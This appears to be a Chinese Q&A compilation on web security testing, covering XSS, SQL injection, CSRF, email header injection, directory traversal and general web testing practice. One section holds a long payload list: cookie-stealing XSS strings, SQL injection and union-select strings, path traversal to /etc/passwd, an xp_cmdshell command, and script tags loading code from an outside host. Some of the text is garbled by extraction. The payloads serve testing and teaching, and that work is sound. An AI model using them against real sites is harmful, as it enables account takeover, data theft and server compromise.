『壹』 web安全测试 主要测试哪些内容
软件安全测试按照测试点又细分了很多分支，而今天我们要讲的是安全测试之最常见的页面脚本攻击。脚本攻击有多种方式，今天给大家讲几种最常见的场景也是很多网站容易忽略测试的情况
第一种，在页面的输入框中植入一段js（javascript）脚本。不知道js的同学，请关注我们的公开课，或者自己去网络学习。
一般情况下我们在测试添加功能的时候都会根据需求文档进行测试，需求文档里可能会写明每一个字段的数据都有哪些限制条件，往往我们就会去测试这些限制条件是否都满足，但我们通常会忽略一种情况，尤其是我们不懂js，html这些前台页面技术的情况下。比如，现在我往老师昵称的输入框输入一段js：<script>alert(1)</script> ，输入其他数据后保存这条老师数据，然后回到老师列表就会发现出现了一个弹框，这个就是因为保存进去的昵称没有经过数据过滤处理，保存到表的数据是一段完整的js，然后这段js脚本被浏览器渲染后就出现了一个警告提示框，成功实现了攻击。
像这种情况还不算太恶劣，点击警告框的确定，警告框就会关闭，但是如果别人植入的是一段死循环代码，比如上面的脚本经过一个改造：<script>while(true){alert(“有本事你就把我关掉”)}</script>，然后往页面输入框输入以上脚本数据，保存后在列表页面就会弹出咱们设计的那个弹出框，并且想关都关不掉，关了以后立马又出现了。并且只要访问到这个列表页面就会出现这个弹框。
试想一下，如果你们的客户稍微懂一点技术，在做验收的时候输入了一段这样的脚本来测试，估计当场就会被气吐血，人家会觉得不仅你们开发人员技术不过关，你们测试人员技术也不到位，别人出钱的时候也不会那么干脆，更严重的情况是客户可能再也不会跟你们合作了，因为这么低级的一个bug，你们项目组都没有规避到。
第二种，在页面输入框中植入一段html代码。不知道html是什么东西的同学，请关注我们的公开课，或者自己去网络学习。
植入html代码又可以分几种情况，以下几种情况是测试中用的最多的，因为他们都可以指定一个路径，链接到第三方平台，而有些情况一经点击就可以跳到指定的第三方平台，而这种情况是很容易在第三方页面上做手脚盗取你网站的私密数据的。
1. 植入<img>图片，这个图片的链接指向第三方的图片，影响：第一，非一条正常数据，第二，对方可以利用你的漏洞捣乱，传上去一些非法图片。
2. 植入超链接：<a>，如果你的页面没有做html过滤就可能被植入一段超链接，点击就可以跳到第三方平台。影响：第一，非一条正常数据，第二，别有用心的人就可以利用你的漏洞去做一些非法的事情。
3. 植入iframe：<iframe>，如果你的页面没有做html过滤同样也有可能被别人直接植入一个iframe，嵌入一个第三方页面，直接显示在你的网站页面上，比如，我们现在通过iframe在我们的老师列表页面植入视频网站--优酷，这样我们就可以点击优酷上的视频来观看了。影响：第一，非一条正常数据，第二，同样别人可以通过这种方式直接植入不安全的第三方网站或者广告。
当然以上这些脚本攻击方式在你的项目网站上不一定都能重现，因为有些项目是做了过滤的，但是也有可能做的也不完全，可能某一种注入被规避了，还存在漏网之鱼，所以只有试过才知道，上面只是列举了几种常见的注入方式，大家可以去测试下，说不定有额外的惊喜。如果找到了这样的注入bug，请记得鄙视一下你们开发人员。哈哈。
『贰』 web安全测试主要有哪些漏洞
以下类型的安全漏洞
权控缺失
系统未能正确分配用户的权限，用户能执行超出自己职能范围的操作，这类漏洞称为权控缺失。权控缺失分为两类：平行越权、垂直越权。
逻辑漏洞
逻辑漏洞通常是由于程序逻辑不严密或逻辑太复杂,导致一些逻辑分支被绕过或处理错误。常见漏洞包括:任意密码修改(没有旧密码验证)、密码找回漏洞、业务数据篡改等。逻辑漏洞的出现易造成账号被盗、免费购物,游戏应用易造成刷钱、刷游戏币等严重问题。
条件竞争
服务端在做并发编程时，需要考虑到条件竞争的情况。在多个并发线程同时访问同一资源时，由于对请求的处理不是原子性的，无法预测调度的顺序，就可能由于时间序列上的冲突而造成对共享资源的操作混乱。
XSS跨站脚本攻击
是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点，提交的数据被WEB应用程序直接使用，使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
『叁』 如何进行WEB安全性测试
安全性测试主要从以下方面考虑 主要从以下方面考虑： WEB 的安全性测试主要从以下方面考虑： Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个 参数传递都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：为什么是 OR， 以及',――是特殊的字符呢？ 例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password' 如 输入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 语句会变成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符， 在判断多个条件的时候， 只要一 个成立，则等式就成立，后面的 AND 就不再时行判断了，也就是 说我们绕过了密码 验证，我们只用用户名就可以登录. 如 输入 http://ck/index.asp?username=admin'--&pwd=11，SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出错信息：阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? <!--[if !supportLists]-->首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 测试语句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最后,当用户浏览 时便会弹出一个警告框，内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚 本，当用户浏览此帖时，cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证，着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本（XSS），但它与 XSS 非常不同，并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户，而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好， CSRF 也好， 它的目的在于窃取用户的信息， SESSION 和 COOKIES 如 （关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG： http://www.51testing.com/?49689/action_viewspace_itemid_74885.html）， (1)如何进行 CSRF 测试？ 关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞？ 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf 请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection：如果表单用于发送 email,表单中可能包括 “subject”输入项（邮件标题），我们要验证 subject 中应能 escape 掉“\n” 标识。 <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行，如果在 subject 中输入“hello\ncc:[email protected]”，可能会形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的 其它用 subject， 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) （1）如何进行目录遍历测试？ 目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法： URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 ， 掉了这些目录跳转符。 （2）如何预防目录遍历？ 限制 Web 应用在服务器上的运行 进 行严格的输入验证，控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) （1）如何进行测试？ 首 先找到一些错误页面，比如 404,或 500 页面。 验证在调试未开通过的情况下， 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等，而并非曝露一些程序代码。 （2）如何预防？ 测试人员在进行需求检查时，应该对出错信息 进行详细查，比如是否给 出了出错信息，是否给出了正确的出错信息。
『肆』 web安全需要学习哪些知识
这个就很多了，首先你要系统的了解互联网的基本结构从基本的小局域网怎么连的在怎么把局域网通过交换机来连起来，服务器与机器协作，各个机器的所属范围防火墙等，你要学很多，先从基本的掐网线开始吧
『伍』 做Web安全测试、维护、防御方面，需要什么基础知识
我晕~一个被YY小说和天朝妓者误导的孩子
孩子醒醒，别看小说了，也别自己胡思乱想了，现实点吧！！！
你热爱的不是黑客，而是那种牛气冲天的感觉，想一手遮天，为我独尊的感觉
这种情况看YY小说挺合适……
黑客牛掰么，在网络日益安全的今天，其实一点也不牛掰，顶多做一个安全顾问，一个月几千块，而且没什么人要的，现实中属于可怜兮兮的那种，完全没有传说的神奇……
黑客远远不如你想的那般牛掰
黑客能侵什么国防系统，孩子醒醒吧
黑客能入侵银行，孩子醒醒吧
黑客能改高考成绩，孩子醒醒吧
黑客能被国家招安，孩子醒醒吧
黑客无所不能，孩子醒醒吧
……
真正的黑客是热爱电子热爱计算机的人，因为热爱计算机，所以成为黑客，不是因为热爱黑客而成为黑客，这样子其实一辈子都不会成为黑客。
很简单，因为你的目的不纯，不热爱计算机，一心只想入侵入侵，走到最后你会发现自己其实走向了一条错误的路，反而成不了黑客。
在中国这样的人实在太多了，不信网络搜搜黑客……这样唯一的好处是养活了一大批自称黑客的骗子，现在网上已经是骗子如云了
还有，不要一想到什么黑客技术就是聪明之类的，黑客不需要聪明，黑客几乎都是笨拙的人，笨拙的人踏实、有毅力，反而能成为黑客
PS：你的问题补充真帅……-_-|||
『陆』 web安全测试个人阅读心得
文章中提到的东西都是工作中实践过的经验,并不保证全面性.
Web测试一般包含如下内容:
功能测试
性能测试
用户界面测试
兼容性测试
安全性测试
其实这只是大概的区分,各种不同的类别的测试之间其实是有很多交集的.比如:
当网站出现性能问题的时候,同时网站的某些功能可能会失效,比如页面打开失败,表单提交失败等等
当网站在一个它不兼容的浏览器下运行的时候,也会导致功能失效,用户界面出现混乱,甚至性能问题
以上的五项内容中的每一项都可以是一个大的主题做深入的分析.
另外,对于所有的web测试人员来说,学会使用Firebug以及Fiddler这样的抓包工具绝对是必不可少的。这些工具的使用应该始终贯穿的测试工作之中
一.功能测试
对于一般被测试的软件,我可以用"树"来比喻一个软件.一颗树有主干,分支和叶子.主干和分支代表软件的流程,叶子代表软件的局部步骤(页面). 我们测试软件的时候既要保证软件的流程正确,也要保证组成流程的各个分支步骤页面的正确性.
拿淘宝来购物来说,我们可以把登录页面,购物车页面之类的当成是叶子,完成一个购物流程,当成一个主干或者分支. 软件就是由这很多的叶子以及相对少一些的分支组成.
经典的教科书上往往会介绍如下功能测试测试用例的设计方法:
边界值划分
等价类
正交表
决策表
当我们测试单个页面的时候,往往会用到这些方法.但是这些方法只是测试到了软件的局部.
除此之外,我们还要考虑被测试软件的工作流程,保证所有的提供给用户的工作流程都可以跑通,这个时候,探索式测试可以派上用场.有时候,我们还需要化流程图来辅助测试.
关于探索式测试,详见探索式测试读书笔记一文
另外，还有更重要的几点：
每当打开页面或者提交数据的时候，多打开Fiddler或者Firebug看看到底发送了哪些http请求,以及关键请求的http response是什么.当发现功能异常之后,根据我们用Fiddler看到的数据,往往可以自己判断问题到底是出在前台的JS还是后台service. 关于Fiddler,详见Fiddler小结一文
有空多看看系统的日志,哪里能找到一些隐藏在页面之外的异常
当我们在页面上完成了一些功能之后,要彻底明白系统背后(数据库)到底完成了什么东西,我们提交的数据到底被存储到哪里去了
综上所述,我们做功能测试的总体思路是从 点(树叶)->面(主干,分支)->后台(根)
二.性能测试
性能测试主要要从前端和后台两个角度去理解,我们可以首先使用Fiddler去大概判断网站的性能问题是出在前台还是后台.
如果Http请求的大部分时间是花在html,css,js之类的静态资源加载上,那么基本是前台性能有问题.如果某个后台的service特别费时,那么后台必定存在性能问题
前台性能
除了用Fiddler看性能外,我们可以使用Yahoo的Firefox YSlow插件去检测前端的性能.此外,关于前端性能具体的优化策略,可以参阅<High Performance Web Sites>,其中主要涉及到http协议和浏览器缓存机制
详见Web前端优化14条原则一文
后台性能
对于大部分测试工程师来说是很难直接去优化后台性能的,但是依然能去发现一些有意义的线索
用Fiddler去查看http请求,如果某个请求特别耗时,则可能存在性能问题
后台代码设计到SQL查询的时候,往往测试员也是有基础去测试那些SQL的查询时间和执行时间,如果因为数据量大而导致查询太慢的话,可以建议使用数据库的索引
后台的cache机制: 我们的项目大量的使用了后台的cache机制
总之,做性能测试绝对不是简单地直接拿Loadrunner或者Jmeter去录制一下脚本,然后运行,分析结果.这一切的前提应该是充分了解了被测试系统的前台跟后台的性能
三.用户界面测试
这点关注不多，主要如下：
字体大小颜色(主要通过修改css文件)
弹窗的风格最好保持统一
四,兼容性测试
主要考虑如下几个因素组合：
不同的操作系统
不同的浏览器
浏览器的不同版本
显示器的不同分辨率
不同的浏览设备（PC，手机，平板）
五.安全性测试
安全性测试主要知道有如下几点:
SQL注入:后台使用Preparedstatement去处理SQL
XSS攻击:这个问题非常复杂.学习中..
做为一个测试工程师,我觉得应该记住如下3点:
前台的JS验证是不可靠的
用户进行任何输入都是有可能的
Web本身似乎也是不安全的:无法解释更多....
接下去举一些实际的例子:
隐藏的按钮
当我们用Firebug看页面的HTML的时候,往往能找到一些隐藏的内容,比如某个元素的 class="gradient hide",或者类似的东西.当我们直接修改掉这些属性之后,这些隐藏的东西就会在页面上暴露出来,对系统的安全造成隐患.
另外如果有某些值也可能会存储在隐藏域中
Disabled按钮
与隐藏的按钮类似,页面上经常有些可见但是灰调的按钮,也可以尝试改变他的属性,让它变成可以触发的,或许会有所发现
不该被访问的URL
如果某个URL不该被某些人访问,一定要在权限上去控制.仅仅去掉某个链接/按钮是不够的
后台Service
如果网站后台的Service能被捕捉到,而且又没有权限控制,那将是灾难性的
『柒』 如何进行Web应用的安全测试和输入校验
下面这几个注意事项或许可以帮你一些
1. 找到Web应用所有的输入点，找到所有的能接受用户输入的地方，漏掉输入点也就漏掉了可能存在的缝。
2. 过滤每一个输入点，为每个输入点设定相应的校验规则和边界。
3. 不要忘记校验哪些隐藏域，cookie和url参数。
4. 验证从数据库里面得到的数据，这个是最容易忽视的地方，不要相信来自数据库里面的数据就是合法的数据。
5. 你是如何做输入校验的？ javascript？如果只是用javascript做客户端校验, 风险还是很大的，一定要确保加上服务端的校验，否则如果客户端禁用了javascript或者客户端代码被人工修改，非法数据还是会进入系统内部的。
6. 隐藏异常信息，再周全的校验也不可能覆盖所有的case，如果非法数据造成了系统的异常，不要将详细的异常信息暴露给客户端，这些异常信息有可能成为系统的攻击入口。
在做输入校验的时候，从“什么样的输入才是合法的”入手会降低验证失效的风险，应该只为每个输入点的输入内容制定一个有限的，刚好够用的合法范围，除此之外的所有内容都当做是非法的。而从“什么样的输入是不合法的”入手则会增加验证失效的可能，因为你不可能穷举非法的输入。
『捌』 WEB服务器安全渗透性测试方案
http://hi..com/zh2089/blog/category/%B1%BE%C8%CB%D4%AD%B4%B4
本人博客的几篇原创文章，里面有一些实例，LZ觉得可以的话请版给权最佳答案